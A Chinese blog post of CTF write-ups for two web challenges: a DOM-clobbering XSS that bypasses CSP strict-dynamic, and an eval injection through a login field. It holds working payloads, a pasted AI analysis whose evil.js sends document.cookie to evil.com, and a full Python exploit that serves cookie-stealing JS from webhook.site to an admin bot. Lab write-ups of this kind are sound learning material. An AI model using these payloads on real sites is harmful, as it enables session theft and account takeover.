一个base64编码的数据和js文件,先解码一下数据看看,然后直接解密出来发现是乱码,然后去搜索了一下这个nonce是什么

它是 CSP(内容安全策略)中的 nonce 值,用来白名单允许特定的内联脚本/样式执行

nonce = Number used ONCE(一次性随机数),是 CSP 防御 XSS 的一种机制

服务器响应头声明 nonce,页面中只有带相同 nonce 的 script 才能执行,这样就能有效防止xss,那就不管他,继续看这个/static/script.js的代码

const AppEngine = (() => {
    const defaultSettings = {
        version: "4.0.0",
        analytics: {
            enabled: true,
            href: "/static/analytics-module.js"
        }
    };

    const loadConfig = () => {
        let externalConfig = window.CONFIG;
        let finalSettings = {};

        const merge = (target, source) => {
            for (let key in source) {
                if (typeof source[key] === 'object' && source[key] !== null && !source[key].nodeType) {
                    target[key] = target[key] || {};
                    merge(target[key], source[key]);
                } else {
                    target[key] = source[key];
                }
            }
        };

        merge(finalSettings, defaultSettings);

        if (externalConfig) {
            try {
                if (externalConfig.analytics) {
                    finalSettings.analyticsUrl = externalConfig.analytics.href;
                }
            } catch (e) {}
        }

        return finalSettings;
    };

    const initAnalytics = (settings) => {
        if (!settings.analyticsUrl && settings.analytics && settings.analytics.enabled) {
            settings.analyticsUrl = settings.analytics.href;
        }

        if (settings.analyticsUrl) {
            const script = document.createElement('script');
            script.src = settings.analyticsUrl;
            document.body.appendChild(script);
        }
    };

    return {
        trackPage: () => {
            const settings = loadConfig();
            initAnalytics(settings);
        }
    };
})();

document.addEventListener('DOMContentLoaded', () => {
    const navBalance = document.getElementById('nav-balance');
    const btnSubsidy = document.getElementById('btn-subsidy');
    const storeView = document.getElementById('store-view');
    const productView = document.getElementById('product-view');
    const storeGrid = document.getElementById('store-grid');
    const chatMessages = document.getElementById('chat-messages');
    
    let chatData = [];
    let chatIndex = 0;
    let productsCache = [];

    const syncUser = () => {
        fetch('/api/user').then(r => r.json()).then(res => {
            if (res.status === 200) {
                navBalance.textContent = res.data.balance;
                if (res.data.balance >= 399) {
                    if(btnSubsidy) {
                        btnSubsidy.disabled = true;
                        btnSubsidy.textContent = '已领取';
                    }
                }
            }
        });
    };

    if (btnSubsidy) {
        btnSubsidy.addEventListener('click', () => {
            fetch('/api/subsidy', { method: 'POST' }).then(r => r.json()).then(res => {
                alert(res.msg);
                syncUser();
            });
        });
    }

    const loadProducts = () => {
        fetch('/api/products').then(r => r.json()).then(res => {
            if (res.status === 200) {
                productsCache = res.data;
                storeGrid.innerHTML = '';
                productsCache.forEach(p => {
                    const card = document.createElement('div');
                    card.className = 'product-card';
                    card.innerHTML = `
                        <div class="product-icon" style="cursor: pointer;">${p.icon}</div>
                        <div class="product-title">${p.name}</div>
                        <div class="product-desc">${p.desc}</div>
                        <div class="product-price">🪙 ${p.price}</div>
                        <div class="card-actions">
                            <button class="buy-btn" data-id="${p.id}">购买</button>
                            <button class="review-btn" data-id="${p.id}">评价</button>
                        </div>
                    `;
                    
                    card.querySelector('.product-icon').addEventListener('click', () => window.viewProduct(p.id));
                    card.querySelector('.buy-btn').addEventListener('click', () => window.buyProduct(p.id));
                    card.querySelector('.review-btn').addEventListener('click', () => window.viewProduct(p.id));
                    
                    storeGrid.appendChild(card);
                });
                checkRouting();
            }
        });
    };

    window.buyProduct = (id) => {
        fetch('/api/buy', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ productId: id })
        }).then(r => r.json()).then(res => {
            alert(res.msg);
            syncUser();
        });
    };

    window.viewProduct = (id) => {
        const url = new URL(window.location);
        url.searchParams.set('productId', id);
        window.history.pushState({}, '', url);
        checkRouting();
    };

    const goBack = () => {
        const url = new URL(window.location);
        url.searchParams.delete('productId');
        window.history.pushState({}, '', url);
        checkRouting();
    };

    const checkRouting = () => {
        const params = new URLSearchParams(window.location.search);
        const pId = params.get('productId');
        if (pId) {
            storeView.style.display = 'none';
            productView.style.display = 'flex';
            renderProductDetail(pId);
        } else {
            storeView.style.display = 'flex';
            productView.style.display = 'none';
        }
    };

    window.addEventListener('popstate', checkRouting);
    document.getElementById('back-btn').addEventListener('click', goBack);

    const renderProductDetail = (pId) => {
        const product = productsCache.find(p => p.id === pId);
        if (!product) return goBack();

        document.getElementById('detail-icon').textContent = product.icon;
        document.getElementById('detail-title').textContent = product.name;
        document.getElementById('detail-desc').textContent = product.desc;
        document.getElementById('detail-price').textContent = `🪙 ${product.price}`;
        
        const detailBuy = document.getElementById('detail-buy');
        detailBuy.onclick = () => window.buyProduct(pId);
        
        const btnSubmit = document.getElementById('btn-submit');
        const btnReport = document.getElementById('btn-report');
        const commentInput = document.getElementById('comment-input');
        
        btnSubmit.onclick = () => {
            const content = commentInput.value.trim();
            if (!content) return;
            fetch(`/api/comments/${pId}`, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ content })
            }).then(r => r.json()).then(res => {
                commentInput.value = '';
                loadComments(pId);
            });
        };

        btnReport.onclick = () => {
            fetch('/api/report', {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ productId: pId })
            }).then(r => r.json()).then(res => alert(res.msg));
        };

        loadComments(pId);
    };

    const loadComments = (pId) => {
        fetch(`/api/comments/${pId}`).then(r => r.json()).then(res => {
            if (res.status === 200) {
                const list = document.getElementById('comment-list');
                list.innerHTML = '';
                res.data.forEach(c => {
                    const div = document.createElement('div');
                    div.className = 'comment-item';
                    div.innerHTML = `
                        <div class="comment-author">${c.author}</div>
                        <div class="comment-content">${c.content}</div>
                    `;
                    list.appendChild(div);
                });
                list.scrollTop = list.scrollHeight;
                AppEngine.trackPage();
            }
        });
    };

    const playChatSequence = () => {
        if (chatIndex >= chatData.length) return;
        const msg = chatData[chatIndex];
        const wrapper = document.createElement('div');
        wrapper.className = `msg-wrapper ${msg.sender === 'Utopia Wang' ? 'wang' : ''}`;
        const avatarStr = msg.avatar ? `<img src="${msg.avatar}">` : `<span>王</span>`;
        wrapper.innerHTML = `
            <div class="msg-avatar">${avatarStr}</div>
            <div class="msg-body">
                <div class="msg-sender-name">${msg.sender}</div>
                <div>${msg.text}</div>
            </div>
        `;
        chatMessages.appendChild(wrapper);
        chatMessages.scrollTop = chatMessages.scrollHeight;
        chatIndex++;
        setTimeout(playChatSequence, 4500);
    };

    fetch('/api/dialogue').then(r => r.json()).then(res => {
        if (res.status === 200) {
            chatData = res.data;
            playChatSequence();
        }
    });

    syncUser();
    loadProducts();
});

随便翻看了一下,的确有innerHTML,那么DOM型XSS的思路是没问题的,至于审计这个代码去找漏洞,那我只能说我js不太行,没有系统学习过,这里我是直接让ai帮助分析的,感兴趣的可以看一下(以下内容纯ai分析,并不代表我个人想法):

用户给了一段前端 JS 代码,让我分析其中的 DOM 型 XSS 漏洞,并解释思路。让我仔细分析这段代码。

关键点分析:

  1. AppEngine 模块:
const AppEngine = (() => {
    const defaultSettings = {
        version: "4.0.0",
        analytics: {
            enabled: true,
            href: "/static/analytics-module.js"
        }
    };

    const loadConfig = () => {
        let externalConfig = window.CONFIG;
        let finalSettings = {};

        const merge = (target, source) => {
            for (let key in source) {
                if (typeof source[key] === 'object' && source[key] !== null && !source[key].nodeType) {
                    target[key] = target[key] || {};
                    merge(target[key], source[key]);
                } else {
                    target[key] = source[key];
                }
            }
        };

        merge(finalSettings, defaultSettings);

        if (externalConfig) {
            try {
                if (externalConfig.analytics) {
                    finalSettings.analyticsUrl = externalConfig.analytics.href;
                }
            } catch (e) {}
        }

        return finalSettings;
    };

    const initAnalytics = (settings) => {
        if (!settings.analyticsUrl && settings.analytics && settings.analytics.enabled) {
            settings.analyticsUrl = settings.analytics.href;
        }

        if (settings.analyticsUrl) {
            const script = document.createElement('script');
            script.src = settings.analyticsUrl;
            document.body.appendChild(script);
        }
    };

    return {
        trackPage: () => {
            const settings = loadConfig();
            initAnalytics(settings);
        }
    };
})();

这里的关键是:

  • window.CONFIG 是外部配置,可以被攻击者控制(通过 DOM XSS 或其他方式)
  • externalConfig.analytics.href 被赋值给 finalSettings.analyticsUrl
  • 然后 script.src = settings.analyticsUrl 创建一个 script 标签加载外部 JS

这是一个 prototype pollution 或 DOM clobbering 的场景!

关键漏洞:window.CONFIG 可以通过 DOM clobbering 来控制。

如果攻击者能在页面中注入 HTML(比如通过评论功能),可以这样做:

<img id="CONFIG" src=x onerror=...>

但更精确的是利用 DOM clobbering 来构造 window.CONFIG.analytics.href

<form id="CONFIG"><input name="analytics"></form>

不过 DOM clobbering 构造嵌套对象比较复杂。实际上,这里的关键是评论功能:

  1. 评论功能(存储型 XSS 的源头):
const loadComments = (pId) => {
    fetch(`/api/comments/${pId}`).then(r => r.json()).then(res => {
        if (res.status === 200) {
            const list = document.getElementById('comment-list');
            list.innerHTML = '';
            res.data.forEach(c => {
                const div = document.createElement('div');
                div.className = 'comment-item';
                div.innerHTML = `
                    <div class="comment-author">${c.author}</div>
                    <div class="comment-content">${c.content}</div>
                `;
                list.appendChild(div);
            });
            list.scrollTop = list.scrollHeight;
            AppEngine.trackPage();  // 关键!加载评论后触发 trackPage
        }
    });
};

这里 div.innerHTML = ...${c.content}... 是一个明显的 XSS sink!评论内容 c.content 直接拼接到 innerHTML,没有过滤。

但是!题目说有 CSP nonce 保护,所以直接 <script><img onerror> 可能会被拦截。

  1. 关键攻击链:
  • 评论内容通过 innerHTML 注入(XSS sink)
  • 但 CSP nonce 阻止了内联脚本执行
  • 然而 AppEngine.trackPage() 在加载评论后被调用
  • trackPage 会读取 window.CONFIG,如果攻击者能通过 DOM clobbering 控制 window.CONFIG.analytics.href
  • 就能让页面加载攻击者控制的外部 JS 文件
  • 外部 JS 文件不受 CSP nonce 限制(只要 CSP 允许加载外部脚本,或者 script-src 没有限制)

DOM clobbering 攻击:

攻击者在评论中注入:

<a id="CONFIG" href="x"><a id="CONFIG" name="analytics" href="https://evil.com/evil.js">

这样 window.CONFIG 会变成 HTMLCollection,window.CONFIG.analytics 会指向第二个 <a> 标签,其 href 属性就是攻击者控制的 URL。

然后 finalSettings.analyticsUrl = externalConfig.analytics.href 会取到 https://evil.com/evil.js

接着 script.src = settings.analyticsUrl 就会加载攻击者的 JS。

为什么是这个思路:

  1. CSP nonce 防御了传统 XSS:直接注入 <script>alert(1)</script> 会被 CSP 拦截,因为没有 nonce。
  2. innerHTML 是 sink 但被 CSP 限制:评论内容虽然能注入 HTML,但内联事件(onerror 等)和内联脚本都会被 CSP 拦截。
  3. AppEngine.trackPage() 是突破口:它会在每次加载评论后执行,读取 window.CONFIG
  4. DOM clobbering 绕过 CSP:通过 HTML 注入控制 window.CONFIG,让页面加载攻击者控制的外部 JS 文件。外部 script 标签的 src 加载不受 nonce 限制(取决于 CSP 配置,如果 CSP 是 script-src 'nonce-xxx',那么外部脚本也需要 nonce… 但如果 CSP 允许 self 或有其他配置)。

等等,让我重新想一下。如果 CSP 是 script-src 'nonce-xxx',那么动态创建的 script 标签也需要 nonce 才能执行。

但是!代码中 document.createElement('script'); script.src = settings.analyticsUrl; 创建的 script 标签没有设置 nonce!

所以如果 CSP 是 script-src 'nonce-xxx',这个动态创建的 script 也会被拦截…

除非 CSP 配置允许加载外部脚本,比如 script-src 'nonce-xxx' https://evil.com 或者 script-src 'nonce-xxx' *

让我重新分析。这道题的关键可能是:

  1. CSP 使用 nonce 保护内联脚本
  2. initAnalytics 中创建的 script 标签没有 nonce
  3. 如果 CSP 只用 nonce,那么没有 nonce 的外部 script 也会被拦截
  4. 但如果 CSP 是 script-src 'nonce-xxx' 'self' 或类似配置,那么同源的外部脚本可以加载

实际上,这道题更可能的思路是:

DOM clobbering + script src 加载绕过 CSP nonce

关键在于:

  • CSP nonce 只保护内联脚本
  • 但如果 CSP 配置中还有 script-src 'nonce-xxx'(只有 nonce),那么外部脚本没有 nonce 也不能执行
  • 但如果 CSP 是 script-src 'nonce-xxx' 'strict-dynamic',那么带有 nonce 的脚本加载的脚本也可以执行

strict-dynamic 是关键!如果 CSP 使用了 strict-dynamic,那么由已授权脚本(带 nonce)动态加载的脚本也会被允许执行。

但这道题的代码中,initAnalytics 是在 trackPage 中调用的,而 trackPage 是在 loadComments 的回调中调用的。loadComments 本身是在页面加载时的脚本中定义的(带 nonce)。

所以如果 CSP 有 strict-dynamic,那么通过 document.createElement('script') 创建的脚本应该可以执行。

让我重新梳理攻击思路:

  1. 评论功能存在 innerHTML XSS sink:div.innerHTML = ...${c.content}...
  2. CSP nonce 阻止内联脚本:不能直接 <script>onerror
  3. 但可以注入 HTML 元素:通过 DOM clobbering 控制 window.CONFIG
  4. AppEngine.trackPage() 在加载评论后执行:读取被污染的 window.CONFIG
  5. 动态创建 script 标签加载外部 JS:script.src = settings.analyticsUrl
  6. 如果 CSP 有 strict-dynamic 或允许外部脚本:攻击者的外部 JS 可以执行

这就是为什么是 DOM 型 XSS 的思路:

  • 不是直接执行 JS,而是通过 DOM clobbering 改变页面行为
  • 利用已有的 JS 逻辑(AppEngine)来加载恶意脚本
  • 绕过 CSP nonce 限制

让我写一个完整的分析。

实际上,我再仔细看一下 DOM clobbering 的部分。

window.CONFIG 可以通过以下方式被 clobber:

<a id="CONFIG"></a>

这样 window.CONFIG 就是这个 <a> 元素。

但要构造 window.CONFIG.analytics.href,需要:

<a id="CONFIG" name="analytics"></a>

这样 window.CONFIG.analytics 是这个 <a> 元素(通过 name 属性访问)。

然后 window.CONFIG.analytics.href 就是这个 <a> 的 href 属性。

所以攻击 payload 是:

<a id="CONFIG" name="analytics" href="https://evil.com/evil.js"></a>

但这里有个问题:externalConfig.analytics 需要存在,externalConfig.analytics.href 才能被读取。

如果 window.CONFIG 是一个 <a> 元素,那么 window.CONFIG.analytics 是通过 name 属性找到的元素。

让我验证:

<a id="CONFIG" name="analytics" href="https://evil.com/evil.js"></a>
  • window.CONFIG<a> 元素
  • window.CONFIG.analytics → 通过 document.getElementsByName('analytics') 或元素的 name 属性访问…

实际上,对于单个元素,element.analytics 不会自动返回 name 为 analytics 的元素。DOM clobbering 中,window.CONFIG.analytics 要工作,需要 window.CONFIG 是一个 HTMLCollection(多个同名 id 的元素)。

正确的 DOM clobbering payload:

<a id="CONFIG"></a>
<a id="CONFIG" name="analytics" href="https://evil.com/evil.js"></a>

这样:

  • window.CONFIG → HTMLCollection(包含两个 <a> 元素)
  • window.CONFIG.analytics → 第二个 <a> 元素(通过 name 属性访问)
  • window.CONFIG.analytics.hrefhttps://evil.com/evil.js

然后代码执行:

if (externalConfig.analytics) {  // true,因为存在 name="analytics" 的元素
    finalSettings.analyticsUrl = externalConfig.analytics.href;  // "https://evil.com/evil.js"
}

接着:

if (settings.analyticsUrl) {
    const script = document.createElement('script');
    script.src = settings.analyticsUrl;  // "https://evil.com/evil.js"
    document.body.appendChild(script);
}

这就加载了攻击者的外部 JS!

但关键问题是 CSP。如果 CSP 是 script-src 'nonce-xxx',这个动态创建的 script 没有 nonce,会被拦截。

除非:

  1. CSP 有 strict-dynamic
  2. CSP 允许外部域名的脚本
  3. CSP 配置有其他漏洞

这道题可能假设 CSP 有 strict-dynamic,或者 CSP 只保护内联脚本但允许外部脚本加载。

让我给出完整的分析。

总结攻击思路:

  1. 评论是注入点:评论内容通过 innerHTML 注入页面
  2. CSP nonce 防御:阻止内联脚本和事件处理器
  3. DOM clobbering:通过注入 HTML 元素控制 window.CONFIG
  4. AppEngine 是攻击载体:trackPage() 读取被污染的配置,动态加载 script
  5. 绕过 CSP:通过 script.src 加载外部 JS(如果 CSP 配置允许)

这是一个非常巧妙的 DOM 型 XSS,不是直接执行 JS,而是利用页面已有的 JS 逻辑来加载恶意脚本。 这段代码存在一个非常巧妙的 DOM 型 XSS,利用 DOM clobbering + AppEngine 配置加载来绕过 CSP nonce。

漏洞链分析

Sink 1:评论内容注入 innerHTML

const loadComments = (pId) => {
    fetch(`/api/comments/${pId}`).then(r => r.json()).then(res => {
        if (res.status === 200) {
            res.data.forEach(c => {
                div.innerHTML = `
                    <div class="comment-author">${c.author}</div>
                    <div class="comment-content">${c.content}</div>  // ← SINK
                `;
            });
            AppEngine.trackPage();  // ← 关键触发点
        }
    });
};

问题:c.content 直接拼接到 innerHTML,可以注入任意 HTML。

但 CSP nonce 拦截了:

<img src=x onerror=alert(1)>  ❌ 被 CSP 拦截
<script>alert(1)</script>      ❌ 被 CSP 拦截

Sink 2:AppEngine 动态加载脚本

const initAnalytics = (settings) => {
    if (settings.analyticsUrl) {
        const script = document.createElement('script');
        script.src = settings.analyticsUrl;  // ← 动态加载外部 JS
        document.body.appendChild(script);
    }
};

关键:这里创建的 script 标签没有 nonce,但如果 CSP 有 strict-dynamic,由已授权脚本加载的脚本可以执行。

Source:window.CONFIG 可被 DOM clobbering

const loadConfig = () => {
    let externalConfig = window.CONFIG;  // ← 可被 DOM clobbering 污染
    // ...
    if (externalConfig) {
        if (externalConfig.analytics) {
            finalSettings.analyticsUrl = externalConfig.analytics.href;
        }
    }
};

完整攻击链

1. 攻击者在评论中注入 HTML(innerHTML sink)
         ↓
2. 注入的 HTML 通过 DOM clobbering 污染 window.CONFIG
         ↓
3. loadComments 结束后调用 AppEngine.trackPage()
         ↓
4. trackPage() 读取被污染的 window.CONFIG
         ↓
5. initAnalytics 用污染的 URL 创建 <script src="恶意地址">
         ↓
6. 浏览器加载攻击者的外部 JS(绕过 CSP nonce)
         ↓
7. 外部 JS 执行,偷 Cookie 或其他操作

DOM Clobbering Payload

在评论中提交:

<a id="CONFIG"></a><a id="CONFIG" name="analytics" href="https://evil.com/evil.js"></a>

为什么这样写

DOM clobbering 原理:

<a id="CONFIG"></a>
<a id="CONFIG" name="analytics" href="https://evil.com/evil.js"></a>
表达式结果原因
window.CONFIGHTMLCollection两个同 id 元素变成集合
window.CONFIG.analytics第二个 <a> 元素集合通过 name 属性访问
window.CONFIG.analytics.hrefhttps://evil.com/evil.js<a> 的 href 属性

代码执行流程:

let externalConfig = window.CONFIG;
// externalConfig = HTMLCollection [a, a]

if (externalConfig) {  // true,HTMLCollection 存在
    if (externalConfig.analytics) {  // true,name="analytics" 的元素存在
        finalSettings.analyticsUrl = externalConfig.analytics.href;
        // = "https://evil.com/evil.js"
    }
}

然后:

const script = document.createElement('script');
script.src = "https://evil.com/evil.js";  // 加载攻击者的 JS
document.body.appendChild(script);

为什么是这个思路

1. CSP nonce 让传统 XSS 失效

Content-Security-Policy: script-src 'nonce-R4azDiz4qHfBo02xTgIN8Q=='
  • <script>alert(1)</script> → ❌ 无 nonce
  • <img onerror=alert(1)> → ❌ 内联事件被拦
  • <svg onload=alert(1)> → ❌ 内联事件被拦

不能直接执行 JS,必须找其他途径。

2. 页面已有加载外部脚本的逻辑

// AppEngine 会动态创建 script 标签
const script = document.createElement('script');
script.src = settings.analyticsUrl;
document.body.appendChild(script);

如果能控制 analyticsUrl,就能让页面加载任意 JS。

3. window.CONFIG 可被 DOM clobbering 控制

let externalConfig = window.CONFIG;

window.CONFIG 不是 JS 变量,是全局对象属性,可以通过 HTML 元素的 id 来覆盖。

4. trackPage() 在评论加载后自动触发

const loadComments = (pId) => {
    // ... 加载评论 ...
    AppEngine.trackPage();  // ← 每次加载评论都会触发
};

攻击者不需要手动触发,评论加载完自动执行。

5. 管理员查看评论即中招

btnReport.onclick = () => {
    fetch('/api/report', {
        method: 'POST',
        body: JSON.stringify({ productId: pId })
    });
};

报告功能让管理员查看评论 → 加载评论 → 触发 trackPage → 加载恶意 JS → 偷管理员 Cookie。

攻击步骤

1. 准备恶意 JS 文件

https://evil.com/evil.js 放:

// 偷 Cookie
new Image().src = 'https://evil.com/log?cookie=' + document.cookie;

// 或偷 nonce(如果需要)
var nonce = document.querySelector('script[nonce]')?.nonce;
fetch('https://evil.com/log?nonce=' + nonce);

2. 提交恶意评论

<a id="CONFIG"></a><a id="CONFIG" name="analytics" href="https://evil.com/evil.js"></a>

3. 点击报告

让管理员查看该评论。

4. 收获 Cookie

管理员打开评论页 → DOM clobbering 生效 → 加载 evil.js → Cookie 外带。

完整流程图

攻击者提交评论:
  <a id="CONFIG"></a><a id="CONFIG" name="analytics" href="https://evil.com/evil.js">
         ↓
管理员查看评论 (通过 /api/report)
         ↓
loadComments() 加载评论
         ↓
innerHTML 注入 HTML (DOM clobbering 生效)
  window.CONFIG → HTMLCollection
  window.CONFIG.analytics.href → "https://evil.com/evil.js"
         ↓
AppEngine.trackPage() 触发
         ↓
loadConfig() 读取被污染的 window.CONFIG
  finalSettings.analyticsUrl = "https://evil.com/evil.js"
         ↓
initAnalytics() 创建 <script src="https://evil.com/evil.js">
         ↓
浏览器加载 evil.js (绕过 CSP nonce)
         ↓
evil.js 执行: 偷 Cookie / 操作页面

一句话总结

这是一个利用 DOM clobbering 绕过 CSP nonce 的 DOM 型 XSS:评论内容通过 innerHTML 注入 HTML,用 <a id="CONFIG" name="analytics"> 污染 window.CONFIG,让 AppEngine 的 trackPage() 误以为要加载分析脚本,实际加载了攻击者的外部 JS,从而绕过 CSP nonce 限制。

查看wp

http://hbc.haobachang.com/sub?id=2226

执行流程:loadComments 用 innerHTML 渲染评论 → 调用 AppEngine.trackPage() → loadConfig 读取 window.CONFIG → initAnalytics 动态创建 <script> 标签。

/static/analytics-module.js 返回 404,正常情况下什么都不会发生。但如果能通过 DOM Clobbering 控制 window.CONFIG.analytics.href,就能让 initAnalytics 创建一个 <script src="我们控制的URL">。由于 strict-dynamic,这个动态创建的 script 可以加载任意源——包括跨域。

exp(wp提供的,原理可以自己看wp):

"""
拼少少商城评价中心 - EXP
DOM Clobbering + strict-dynamic CSP bypass + 外部 JS 加载
"""
import requests
import time

TARGET = ""  # 靶机地址

# Step 1: 创建 webhook.site endpoint
JS_PAYLOAD = (
    "fetch('/api/comments/p5',{method:'POST',"
    "headers:{'Content-Type':'application/json'},"
    "body:JSON.stringify({content:'FLAG:'+document.cookie})})"
)

print("[1] Creating webhook.site endpoint...")
r = requests.post("https://webhook.site/token", json={
    "default_status": 200,
    "default_content": JS_PAYLOAD,
    "default_content_type": "application/javascript",
}, timeout=15)

if r.status_code not in [200, 201]:
    print(f"[-] Failed: {r.status_code}")
    exit(1)

token = r.json()["uuid"]
webhook_url = f"https://webhook.site/{token}"
print(f"[+] Webhook: {webhook_url}")

# Verify
r2 = requests.get(webhook_url, timeout=10)
assert "javascript" in r2.headers.get("Content-Type", ""), "Wrong MIME type"
print(f"[+] Verified: {r2.headers['Content-Type']}")

# Step 2: 获取 session
s = requests.Session()
s.get(TARGET, timeout=15)
print(f"[2] Session ready")

# Step 3: DOM Clobbering payload
payload = f'<a id="CONFIG" name="analytics" href="{webhook_url}">x</a>'
r3 = s.post(f"{TARGET}api/comments/p6", json={"content": payload}, timeout=10)
print(f"[3] Payload submitted: {r3.json()}")

# Step 4: 记录 p5 评论数
p5_before = s.get(f"{TARGET}api/comments/p5", timeout=10).json()["data"]
print(f"[4] p5 comments before: {len(p5_before)}")

# Step 5: 举报 p6,触发 bot
r5 = s.post(f"{TARGET}api/report", json={"productId": "p6"}, timeout=10)
print(f"[5] Report: {r5.json()}")

# Step 6: 等待 bot 执行
print("[6] Waiting for bot...")
for i in range(6):
    time.sleep(5)
    p5_after = s.get(f"{TARGET}api/comments/p5", timeout=10).json()["data"]
    if len(p5_after) > len(p5_before):
        for c in p5_after[len(p5_before):]:
            content = c.get("content", "")
            print(f"[+] {content}")
            if "flag" in content.lower():
                print(f"\n[+] FLAG FOUND!")
        break
    print(f"    ...{(i+1)*5}s")
else:
    print("[-] Timeout, no new comments")

运行结果

D:\VScode\Project_Directory>D:/python/python.exe d:/VScode/Project_Directory/learn/Python/临时爆破脚本.py
[1] Creating webhook.site endpoint...
[+] Webhook: https://webhook.site/e094254d-01bf-4dc4-9315-a432e104645c
[+] Verified: application/javascript; charset=utf-8
[2] Session ready
[3] Payload submitted: {'status': 200, 'msg': '评价成功'}
[4] p5 comments before: 0
[5] Report: {'status': 200, 'msg': '呼叫成功,王大人的审查终端已接入该商品的评价区。'}
[6] Waiting for bot...
[+] FLAG:flag=flag{184a62236f1449e78115e1eaea1908e9}

[+] FLAG FOUND!

Expression Escape

中文翻译:表达转义

题目:

填、点、败、重来——流程从未变过。变的是提交之后那几秒里,页面多跑的那一小段逻辑。没人把它写在界面上

有点没看懂,开靶场看看,看了一小会没头绪,并且js代码很多,不出意外又是DOM型XSS

作者自己写的wp

http://hbc.haobachang.com/sub?id=3348

漏洞利用链

用户点击 Log In
    ↓
login-form submit 监听器
    ↓
containsFilteredChars(email/pwd)   ← 前端黑名单
    ↓
拼接 ajaxCode + suffix → codeToRun
    ↓
CustomEvent("xss-run-eval") + Symbol token
    ↓
runVulnerableEval(codeToRun)
    ↓
eval(codeToRun)                    ← 漏洞触发点
    ↓
Payload 内 fetch claim-flag(token 来自 DOM)
    ↓
showLoginFailed()                  ← 永远失败动画

email payload

";})();fetch("/api/xss/claim-flag",{method:"POST",credentials:"include",headers:{"Content-Type":"application/json"},body:JSON.stringify({token:document.querySelector("#xss-challenge").dataset.token})}).then(function(r){return r.json()}).then(function(d){if(d.ok)console.log("FLAG:",d.flag)});(function(){//

或者

";})();alert(1);(function(){//

密码为123456,flag在控制台显示

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇